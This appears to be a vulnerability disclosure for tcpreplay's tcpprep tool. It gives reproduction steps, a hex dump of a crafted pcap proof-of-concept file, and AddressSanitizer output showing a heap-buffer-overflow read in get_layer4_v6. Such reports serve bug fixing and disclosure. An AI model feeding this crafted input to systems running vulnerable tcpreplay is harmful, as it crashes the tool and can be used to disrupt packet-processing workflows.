Details

1. clone https://github.com/appneta/tcpreplay
2. build tcpprep
3. run "tcpprep --port --pcap=pocFile --cachefile=/dev/null"

PoC

Download pocFile
tcpperp_buffer_overflow_poc.zip

pocFilehex:

```
0000000 c3d4 a1b2 0002 0004 53b6 e153 0000 0000
0000010 003e 0000 0001 0000 aeed 0a00 0b16 0002
0000020 003e 0000 0000 0004 c1c0 a0ff 0400 0000
0000030 463b 7596 dd86 6f67 6767 0276 6700 6767
0000040 6767 0000 0000 0000 c3d4 a1b2 0002 0004
0000050 0000 0000 dd00 00ff 0000 0004 0001 0000
0000060 0723 76e5 6170 000a 0040 0000 0000 0004
0000070 ff30 3000 3030 3030 3030 3030 4888 4848
0000080 4848 4848 0101 0a68 0202 0202 0d8e 00
```

Impact

```
==3786318==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x5060000000be at pc 0x55555568445b bp 0x7fffffffdd00 sp 0x7fffffffdcf8
READ of size 1 at 0x5060000000be thread T0
[Detaching after fork from child process 2091515]
#0 0x55555568445a in get_layer4_v6 /home/shf/固件代码
/tcpreplay/src/common/get.c:591:29
#1 0x555555668edf in check_dst_port /home/shf/固件代码
/tcpreplay/src/tcpprep.c:228:19
#2 0x555555668edf in process_raw_packets /home/shf/固件代码
/tcpreplay/src/tcpprep.c:536:50
#3 0x555555668edf in main /home/shf/固件代码
/tcpreplay/src/tcpprep.c:145:23
#4 0x7ffff7a5f082 in __libc_start_main
/build/glibc-wuryBv/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x55555558d65d in _start (/usr/local/bin/tcpprep+0x3965d)

0x5060000000be is located 0 bytes after 62-byte region
[0x506000000080,0x5060000000be)
```

```
allocated by thread T0 here:
#0 0x55555562871e in malloc (/usr/local/bin/tcpprep+0xd471e)
#1 0x7ffff7f35b70 in pcap_check_header /home/shf/固件代码
/libpcap/./sf-pcap.c:482:14
#2 0x7ffff7f34034 in pcap_fopen_offline_with_tstamp_precision
/home/shf/固件代码/libpcap/./savefile.c:521:7
#3 0x7ffff7f33ccd in pcap_open_offline_with_tstamp_precision /home/shf/
固件代码/libpcap/./savefile.c:387:6

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/shf/固件代码
/tcpreplay/src/common/get.c:591:29 in get_layer4_v6

The affected line of code is:
0x55555568445a in get_layer4_v6 /home/shf/固件代码
/tcpreplay/src/common/get.c:591:29
```